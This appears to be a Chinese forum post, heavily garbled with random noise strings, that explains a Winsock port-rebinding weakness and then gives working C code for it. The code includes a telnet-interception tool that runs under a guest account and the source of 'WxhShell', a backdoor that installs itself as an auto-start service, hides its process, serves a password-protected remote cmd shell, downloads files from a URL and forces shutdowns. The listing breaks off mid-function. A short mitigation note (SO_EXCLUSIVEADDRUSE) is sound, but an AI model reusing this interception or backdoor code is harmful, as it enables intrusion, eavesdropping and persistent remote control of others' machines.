在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s^TZXCyF o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]cvwIc"> 0auYG><= saddr.sin_family = AF_INET;
>uB?rGcM ~/U1xk% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[aLI
' @bLy,Xr& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
B@))8.h] t+
TdLDJR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I{&[[7H QL/(72K 这意味着什么?意味着可以进行如下的攻击:
8d{0rqwNE 3`?7<YJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}6~hEc*/" Q\vpqE!9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
zI uJ-8T" =%O6:YM
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fbvL7*
( ~=LE0. 3[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
hE/cd1iJ$ S@tLCqV4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^
+\dz #%2rP'He 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
UDFDJm$ ;;t yoh~t 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(,2SXV h"W,WxL8 #include
A{zN| S[ #include
(mB&m@-N #include
|-ALklXr #include
Rv>-4@fMJ DWORD WINAPI ClientThread(LPVOID lpParam);
Q{>k1$fkV int main()
Yh7t"=o {
KF}hV9IU WORD wVersionRequested;
Dy&i&5E.-l DWORD ret;
= svN#q5s WSADATA wsaData;
q<<v,ihh BOOL val;
j;r-NCBnz SOCKADDR_IN saddr;
{Xy5pfW
Q SOCKADDR_IN scaddr;
JR|ck=tq int err;
1I6px$^E\ SOCKET s;
r;2^#6/Z SOCKET sc;
.Hm>i int caddsize;
>:!5*E5? HANDLE mt;
/N.b%M]! DWORD tid;
pki%vRY wVersionRequested = MAKEWORD( 2, 2 );
r5/0u(\LB err = WSAStartup( wVersionRequested, &wsaData );
T>Z<]s if ( err != 0 ) {
T::85 printf("error!WSAStartup failed!\n");
\@zHON( return -1;
gJ{)-\ }
Fo_sgv8O< saddr.sin_family = AF_INET;
~?}Emn;t ~~P5k: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kTB0b*V Zx@a/jLO[n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'LC1(V!_j saddr.sin_port = htons(23);
}<r)~{UV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$PPi5f}HD {
Zi
i printf("error!socket failed!\n");
sP~<*U.7 return -1;
j$:~Rek }
00y!K
m_D val = TRUE;
uzPVTo|= //SO_REUSEADDR选项就是可以实现端口重绑定的
q`-N7 ,$T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xo&_bMO {
^
@5QP$. printf("error!setsockopt failed!\n");
3"i-o$P return -1;
B9 uoVcW }
L*+@>3mu) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ITBE|b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Llo"MO*sr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/6*42[r RqrdAkg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
AT3Mlz~7# {
59A}}.@?m ret=GetLastError();
7}>E J printf("error!bind failed!\n");
{\5 return -1;
kevrsV]/$ }
4VSU8tK|N] listen(s,2);
Sm|6 %3 while(1)
AkV#J,
3LC {
CCx&7f caddsize = sizeof(scaddr);
Hn"RH1Zy //接受连接请求
9A=,E& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4HlQ&2O%# if(sc!=INVALID_SOCKET)
M2Qr(K| {
>bW#Zs,6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`^&OF uee if(mt==NULL)
abj Q)=u {
Q
&JUt( printf("Thread Creat Failed!\n");
KRzAy)8 break;
Yq
KCeg }
%u'ukcL7 }
~?BXti<! CloseHandle(mt);
?tbrbkx }
wHy!CP% closesocket(s);
fZF@k5*\ WSACleanup();
HZge!Yp< return 0;
.q>iXE_c }
C'x&Py/# DWORD WINAPI ClientThread(LPVOID lpParam)
:o3N;*o>)0 {
+e``OeXog SOCKET ss = (SOCKET)lpParam;
L,!?Nt\ SOCKET sc;
GTd,n= unsigned char buf[4096];
.k !{* SOCKADDR_IN saddr;
MTn{d long num;
(<9u-HF# DWORD val;
]=BB# DWORD ret;
4hj|cCrO //如果是隐藏端口应用的话,可以在此处加一些判断
=^?/+p8k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Zy/_
E@C}u saddr.sin_family = AF_INET;
hgq;`_;1, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@ 6vIap| saddr.sin_port = htons(23);
W<g1<z\f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fJg+ Ryo {
H:|uw printf("error!socket failed!\n");
PW0LG^xp` return -1;
oEv'dQ9 }
]f_p8?j" val = 100;
2^7`mES if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~xFkU# {
QXK{bxwC ret = GetLastError();
W=?<<dVYD return -1;
?J0y| }
z24q3 3O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%N._w!N<5n {
6gDN`e,@ ret = GetLastError();
{Sh ;(.u^ return -1;
z$sT !QL~ }
9 68Ez
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Pq$n5fZC! {
1% ` Rs
printf("error!socket connect failed!\n");
Di{de` closesocket(sc);
wCBplaojJ closesocket(ss);
:ws<-Qy return -1;
(bS&D/N. }
m&3xJuKih while(1)
~}
~4 {
/;$[E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!ohN!P7& //如果是嗅探内容的话,可以再此处进行内容分析和记录
Kg]J/|0\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
tH4B:Bgj! num = recv(ss,buf,4096,0);
#'`{Qv0,
if(num>0)
AbM'3Mkz send(sc,buf,num,0);
HoAy_7-5 else if(num==0)
2=}FBA,2 break;
x8|J-8A( num = recv(sc,buf,4096,0);
tuX|\X if(num>0)
ueNS='+m send(ss,buf,num,0);
*un^u-; else if(num==0)
u3D)M%e break;
ckn(`I }
hy!3yB@ closesocket(ss);
EU#^7 closesocket(sc);
|7~<Is~* return 0 ;
>$7B
wO }
6S#Cl>v Z\sDUJ '"s@enD0 y ==========================================================
%yC,^ /-s6<e! 下边附上一个代码,,WXhSHELL
LzL
So"n E{(;@PzE ==========================================================
xIn:ZKJ' :4|4 =mkr #include "stdafx.h"
I/N *gy?* k5)om;.w #include <stdio.h>
`]aeI'[}R #include <string.h>
rm_Nn8p, #include <windows.h>
Hn:Crl y# #include <winsock2.h>
b.938#3, #include <winsvc.h>
D%Z| #include <urlmon.h>
W+*
V)tf %iB,IEw #pragma comment (lib, "Ws2_32.lib")
O6Y0XL #pragma comment (lib, "urlmon.lib")
9+N-eW_U :T~ [ #define MAX_USER 100 // 最大客户端连接数
EQ_aa@M7 #define BUF_SOCK 200 // sock buffer
h+,@G,|D #define KEY_BUFF 255 // 输入 buffer
gqR(.Pu Wp,R^d #define REBOOT 0 // 重启
F'Z,]b'st3 #define SHUTDOWN 1 // 关机
\2z>?i) )/P}?`I #define DEF_PORT 5000 // 监听端口
lhJ'bYI uAk.@nfiEv #define REG_LEN 16 // 注册表键长度
p
ll)Y #define SVC_LEN 80 // NT服务名长度
$[|mGae *1"+%Z^ // 从dll定义API
=~gvZV-< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
H?w6C):] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y/oHu@
_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
+C)~bb* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/wv0i3_e
UxBpdm%dvP // wxhshell配置信息
'ga/ struct WSCFG {
VU#7%ufu& int ws_port; // 监听端口
jiGTA:v char ws_passstr[REG_LEN]; // 口令
pfPz8L.7 int ws_autoins; // 安装标记, 1=yes 0=no
#&4=VGx{
# char ws_regname[REG_LEN]; // 注册表键名
TA\vZGJ(' char ws_svcname[REG_LEN]; // 服务名
k:%%/ char ws_svcdisp[SVC_LEN]; // 服务显示名
q\ %I#1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
W*G<X.Hf char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{`_i` int ws_downexe; // 下载执行标记, 1=yes 0=no
+T+#q@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|y*c9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$;PMkUE \<K5ZIWV };
zm# ?W iow"n$/ // default Wxhshell configuration
4Tc~b3\!Y struct WSCFG wscfg={DEF_PORT,
/kG_*>.Z "xuhuanlingzhe",
/_.|E] 1,
->jDb/a{C "Wxhshell",
)5H?Vh>36 "Wxhshell",
Fzcwy V
"WxhShell Service",
}0 ?3:A "Wrsky Windows CmdShell Service",
iDD$pd,e\ "Please Input Your Password: ",
8XaQAy%d] 1,
8CE = 4 "
http://www.wrsky.com/wxhshell.exe",
iRBfx "Wxhshell.exe"
)B*t
:tN };
kf9X$d6 m[2gdJK // 消息定义模块
ig"L\ C"T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^?|"L>y char *msg_ws_prompt="\n\r? for help\n\r#>";
&3&HY:yF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
g{LP7D;6 char *msg_ws_ext="\n\rExit.";
H*6W q char *msg_ws_end="\n\rQuit.";
R-14=|7a- char *msg_ws_boot="\n\rReboot...";
#;S*V" char *msg_ws_poff="\n\rShutdown...";
v^PO|Z char *msg_ws_down="\n\rSave to ";
NlXimq 1mJHued=6 char *msg_ws_err="\n\rErr!";
sRfcF`7 char *msg_ws_ok="\n\rOK!";
c " ,*h }a/Cro.~4 char ExeFile[MAX_PATH];
@]0%L0u int nUser = 0;
(%9$! v{3 HANDLE handles[MAX_USER];
5R7DDJk int OsIsNt;
(5~h"s 1x^GWtRp SERVICE_STATUS serviceStatus;
|uDdHX8T SERVICE_STATUS_HANDLE hServiceStatusHandle;
`u\n0=go M%#e1"n // 函数声明
2qp#N% int Install(void);
P2Y^d#jO int Uninstall(void);
d5d@k int DownloadFile(char *sURL, SOCKET wsh);
Y*hCMy; int Boot(int flag);
h];I{crh void HideProc(void);
cCX*D_kCB int GetOsVer(void);
(sj,[
int Wxhshell(SOCKET wsl);
s^SJY{ void TalkWithClient(void *cs);
]^]wP]R_ int CmdShell(SOCKET sock);
=H~j,K int StartFromService(void);
u:EiwRW int StartWxhshell(LPSTR lpCmdLine);
N g,j# V.Mry`9- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5dg(e3T VOID WINAPI NTServiceHandler( DWORD fdwControl );
p[cX O= adw2x pj // 数据结构和表定义
.(vwIb8\_ SERVICE_TABLE_ENTRY DispatchTable[] =
.V*^|UXbHi {
M3AXe]<eC1 {wscfg.ws_svcname, NTServiceMain},
Pc9H0\+Xk {NULL, NULL}
v0y(58Rz. };
0IpmRH/ r*Xuj= // 自我安装
;rS{: int Install(void)
KlqY@Xt {
Js;h% char svExeFile[MAX_PATH];
hOeRd#AQK HKEY key;
I_BJH'!t strcpy(svExeFile,ExeFile);
4\i[m:e=@ E'8;10s // 如果是win9x系统,修改注册表设为自启动
bZ6+,J if(!OsIsNt) {
KmF]\:sMD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E.f%H(b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ep}s}Stlr} RegCloseKey(key);
uw7zWJ
n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tVjsRnb{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M(fTKs RegCloseKey(key);
s @C}P return 0;
=Sv/IXX\di }
YK\X+"lB }
])!*_ }
/(LL3cZK else {
`x|?&Ytmf9 +n)9Tz5 // 如果是NT以上系统,安装为系统服务
Z]ONh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<}LC~B! if (schSCManager!=0)
;PH~<T {
#1[u(<AS SC_HANDLE schService = CreateService
=QsYXK7Mn4 (
o}!PQ#`M schSCManager,
cu6Opq9 wscfg.ws_svcname,
4m)n+ll wscfg.ws_svcdisp,
[gB+C84%% SERVICE_ALL_ACCESS,
[!z,lY> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u4j5w SERVICE_AUTO_START,
B1STG L`nK SERVICE_ERROR_NORMAL,
ix$bRdl svExeFile,
_j3f Ar(V NULL,
M`>E|"< NULL,
1"g<0
W NULL,
>V~E]P%@ NULL,
:-'qC8C NULL
]{iQ21`a- );
$C\BcKlmv if (schService!=0)
:%.D78& {
?8$Q-1= CloseServiceHandle(schService);
MJvp6n CloseServiceHandle(schSCManager);
Vc2`b3"Br strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m2o0y++TjW strcat(svExeFile,wscfg.ws_svcname);
]tD]Wx% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
SdWV3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=}*0-\QG RegCloseKey(key);
<qSC#[xu return 0;
OYd !v`< }
`]X>V, }
kFB CloseServiceHandle(schSCManager);
0mnw{fE8_ }
]!
dTG }
PdCEUh\>y 9my^Y9B return 1;
q7!{?\T% }
] @'!lhLi Z7#+pPt! // 自我卸载
99S^f:t int Uninstall(void)
w &(ag$p' {
,^:.dFH6 HKEY key;
. ^u,. ;I*o@x_ if(!OsIsNt) {
T|p"0b A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
liZxBs
:%i RegDeleteValue(key,wscfg.ws_regname);
?0SEMmp`H RegCloseKey(key);
#?E"x/$Y6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9FvFhY RegDeleteValue(key,wscfg.ws_regname);
g*Phv|kI RegCloseKey(key);
'7/)Ot( return 0;
B6"0OIDY" }
_+,TT['57s }
gSgr6TH0 }
Gq6*SaTk else {
TJN4k@\$2 Si7*& dw= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
aYeR{Y] if (schSCManager!=0)
JLYi]nZ {
%RVZD#zr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
IcEdG( if (schService!=0)
)7d&NE_ {
j [a(#V{ if(DeleteService(schService)!=0) {
VQs5"K" CloseServiceHandle(schService);
[e
q&C_|D CloseServiceHandle(schSCManager);
:U\tv[
return 0;
,bd_: }
5bIw?%dk( CloseServiceHandle(schService);
SKtr tm }
-} +[ CloseServiceHandle(schSCManager);
lk!@? }
s.#`&Sd> }
fox6)Uot yX5\gO6G return 1;
FlQGgVN }
@c#(.= i?/qY&~ // 从指定url下载文件
=v\.h=~~ int DownloadFile(char *sURL, SOCKET wsh)
':q p05t {
*R"/ |Ka HRESULT hr;
BWNi [^] char seps[]= "/";
lFkR=!?= char *token;
7,MR*TO, char *file;
s*4dxnS_8 char myURL[MAX_PATH];
\^LFkp char myFILE[MAX_PATH];
<$YlH@;)`a vIvIfE strcpy(myURL,sURL);
"N;EL0= token=strtok(myURL,seps);
=*Lfl'sr_ while(token!=NULL)
6LZCgdS{ {
H+#FSdy# file=token;
t7pFW^& token=strtok(NULL,seps);
C^){.UGmJ }
r^ XVB`v jCY%| GetCurrentDirectory(MAX_PATH,myFILE);
x38QD;MT strcat(myFILE, "\\");
b$7 +;I; strcat(myFILE, file);
uO**E-` send(wsh,myFILE,strlen(myFILE),0);
DH=hH&[e(d send(wsh,"...",3,0);
FwK]$4* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
NHt\
U9l' if(hr==S_OK)
N#]ypl return 0;
f^e)O$N9] else
3^ClAE"8 return 1;
7=uj2.J6 JT?h1v<H] }
WA qINLdX _g8yDfcLG // 系统电源模块
^Pf WG* int Boot(int flag)
y7{?Ip4[ {
IBGrt^$M HANDLE hToken;
"MsIjSu TOKEN_PRIVILEGES tkp;
l] vm=7: _aphkeqd if(OsIsNt) {
xk5]^yDp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_{>vTBU4F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wL1MENzp*z tkp.PrivilegeCount = 1;
4| f*eO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Y2TtY; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,6/V"kqIP if(flag==REBOOT) {
u
+hX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ZcsZ$qt^ return 0;
b>W%t }
R_KH"`q else {
$qiya[&G4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
im8 CmQ return 0;
B~mj 8l4 }
:s,Z<^5a)g }
~u{uZ(~ else {
,uvRi)O>a if(flag==REBOOT) {
zA 3_Lx! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
kM6
Qp return 0;
NbobliC= }
|)&%A%m else {
GyIV
Hby if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
9?$i? return 0;
hxx.9x>ow }
K9[UB }
"Q0@/bYq EnR}IY&sI return 1;
_t$sgz& }
1\Xw3prH
wJ]d&::@h // win9x进程隐藏模块
oDR%\VY6T void HideProc(void)
\bF{-" 7. {
H|*m$|$, [
3Gf2_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a#4?cEy if ( hKernel != NULL )
bOB\--:] {
uH]OEz\H' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_w{Qtj~s| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!VJoM,b8 FreeLibrary(hKernel);
Wzh`or }
1x)J[fyId sx%[=g+<2( return;
D-c4EV }
PsYpxNr 9p/Bh$vJ // 获取操作系统版本
rsQtMtS2 int GetOsVer(void)
-"`=1l {
3mgD(,(^ OSVERSIONINFO winfo;
>%G1"d?j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H)?z
#x GetVersionEx(&winfo);
h\o.&6sd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
s*[bFJwN return 1;
8Wx=p#_ else
%;_MGae return 0;
%{|p j
+ }
\<' ?8ri# L#J1b!D&<6 // 客户端句柄模块
fl(wV.Je| int Wxhshell(SOCKET wsl)
t!XwW$@ {
vt8By@]: SOCKET wsh;
]`K2N struct sockaddr_in client;
vgPCQO([ DWORD myID;
WMdg1J+~ JI}'dU>*U: while(nUser<MAX_USER)
3$ pX {
l-Z4Mq6*L int nSize=sizeof(client);
j_AACq
{. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
UVP vOtZj if(wsh==INVALID_SOCKET) return 1;
UfGkTwoo= 29KiuP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XwmL.Gg:]7 if(handles[nUser]==0)
[~HN<>L@C closesocket(wsh);
W4S,6( else
<YY 14p nUser++;
>Ry01G]_/h }
*pq\MiD/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!zo{tI19 a9gLg
& return 0;
CrLrw T }
3S{/>1Y RP"kC4~1 // 关闭 socket
aOp\91
void CloseIt(SOCKET wsh)
wT@og|M {
d-qUtgqV86 closesocket(wsh);
b9krOe*j nUser--;
_b 0&!l<
ExitThread(0);
ep8 }
+%'(!A?*` Da|z"I
x // 客户端请求句柄
mt
.sucT void TalkWithClient(void *cs)
@]j1:PN-
{
A"]YM'. f#;> g SOCKET wsh=(SOCKET)cs;
.nJz G char pwd[SVC_LEN];
:X=hQ:>P char cmd[KEY_BUFF];
>7|VR:U?B char chr[1];
Ac@VGT:9 int i,j;
*w&e\i|7 x:Y1P: while (nUser < MAX_USER) {
4dlGxat Hs8>anVo[ if(wscfg.ws_passstr) {
&yg|t5o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V!Uc( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TOt dUO //ZeroMemory(pwd,KEY_BUFF);
&
21%zPm i=0;
By|4m while(i<SVC_LEN) {
.Mbz3;i0 ]gOy(\B // 设置超时
COlqcq'qAu fd_set FdRead;
*@5 @,=d struct timeval TimeOut;
7#XzrT] FD_ZERO(&FdRead);
dd;~K&_Q/i FD_SET(wsh,&FdRead);
zCZf%ATq TimeOut.tv_sec=8;
:Ye !w$r TimeOut.tv_usec=0;
4s-!7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e
,(mR+a8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vsPu*[% =cI(d , if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P
pb\6|* pwd
=chr[0]; fhiM U8(&
if(chr[0]==0xd || chr[0]==0xa) { V
gWRW7Se
pwd=0; Ml_^
`vn
break; o-5TC
} !L(^(;$Kgr
i++; Cdn J&N{
}
TjH][bH5
QRUz`|U
// 如果是非法用户,关闭 socket [0!( xp^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 01]f2.5
} K-v#.e4
us-L]S+lm
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B#A6v0Ta
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -@'FW*b
Lbgi7|&
while(1) { .v
K-LHs
p K*TE5]
ZeroMemory(cmd,KEY_BUFF); 1EK*g;H
dO'(2J8
// 自动支持客户端 telnet标准 {: /}NpA$
j=0; ?uu*L6
while(j<KEY_BUFF) { ?<!|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dt@SqX:~Ee
cmd[j]=chr[0]; Nn6%9PX_)
if(chr[0]==0xa || chr[0]==0xd) { kiEa<-]
cmd[j]=0; w)f#V s
break; 2y4bwi
} *dQSw)R
j++; 5pX6t
} 6nn*]|7
z{
dEC %
// 下载文件 &C}*w2]0S
if(strstr(cmd,"http://")) { =_CzH(=f#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); rq{$,/6.
if(DownloadFile(cmd,wsh)) }BEB1Q}L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w;M#c
Y
else 81F9uM0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vM={V$D&
} e\rp)[>'
else { $xsd~L&
pglVR </
switch(cmd[0]) { E.h*g8bXe
0GwR~Z}Z
// 帮助 43cE`9~
case '?': { CIWO7bS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !
nx{
X
break; 0GL M(JmK
} ~%oR[B7=|
// 安装 Eci\a]
case 'i': { P55fL-vo|}
if(Install()) >P(.:_^p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kh<2BOV
else F4QVAOM]U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
(3e2c
break; kJU2C=m@e2
} " bG2:
// 卸载 u8^lB7!e/
case 'r': { G@0&8
if(Uninstall()) V`5O{Gg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +@UV?"d
else 42{~Lhxt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gYj'(jB
break; 7zMr:JmV
} %T[]zJ(
// 显示 wxhshell 所在路径 BtZ yn7a
case 'p': { sW$XH1Uf#
char svExeFile[MAX_PATH]; 0RfZEG)
strcpy(svExeFile,"\n\r"); u*R_\*j@
strcat(svExeFile,ExeFile); \V:^h[ad
send(wsh,svExeFile,strlen(svExeFile),0); z:O8Ls^\T
break; pg.%Pdr<$
} ]e3Ax(i)
// 重启 qs6aB0ln
case 'b': { iZ%yd-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9WHddDA
if(Boot(REBOOT)) HW|IILFB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AA_%<zK
else { 7)m9"InDI
closesocket(wsh); b>k y
ExitThread(0); :UdF
} }Z>)DN=+
break; 2%1hdA<
} a*;b^Ze`v
// 关机 ?2a $*(
case 'd': { /reX{Y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BUFv|z+H
if(Boot(SHUTDOWN)) 6@f-Glwg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); & kIFcd@
else { :&Nbw
closesocket(wsh); p_ =z#
ExitThread(0); AW .F3hN)
} 0:+E-^X
break; E^PB)D(.
} i4Jc.8^9$
// 获取shell oU|c.mYe
case 's': { 8t`?#8D}
CmdShell(wsh); 0x7'^Z>-oe
closesocket(wsh); $kgVa^
ExitThread(0); NA*#~
break; l6B@qYLZ
} 3$w65=
// 退出 ^aQ"E9
case 'x': { g}i61(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]_Xlq_[/r
CloseIt(wsh); V)^+?B)T
break; +p^u^a
} neh(<>
// 离开 "b[5]Y{
U
case 'q': { b-y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !wNO8;(
closesocket(wsh); l2d{ 73h
WSACleanup(); l0]
EX>"E
exit(1); 4 :=]<sc,
break; a?.=V
} ,Q,^3*HX9}
} Q?T]MUY(L
} hph4 `{T
h![#;>(
// 提示信息 8fb'yjIC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >7r!~+B"9'
} ,[Fb[#Qqb
} O f#:
/ xQPTT
return; t5zKW _J7
} %SI'BJ
4YHY7J
// shell模块句柄 f)!Z~t &
int CmdShell(SOCKET sock) Fi1@MG5$2
{ HDKbF/
STARTUPINFO si; P4?glh q#
ZeroMemory(&si,sizeof(si)); ddo#P%sH'
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7rA;3?p)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Y3I0S
PROCESS_INFORMATION ProcessInfo; y]imZ4{/
char cmdline[]="cmd"; }%z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aT<q=DO
return 0; eFAnFJ][L
} "j-CZ\]U|
r/sNrB1U"y
// 自身启动模式 HThcn1u~^b
int StartFromService(void) H-%v3d>3
{ q=G+Tocv
typedef struct G`zm@QL
{ .2pK.$.
DWORD ExitStatus; Ah<+y\C
DWORD PebBaseAddress; $"&JWT!#
DWORD AffinityMask; {)"vN(mX
DWORD BasePriority; xpI wrJO
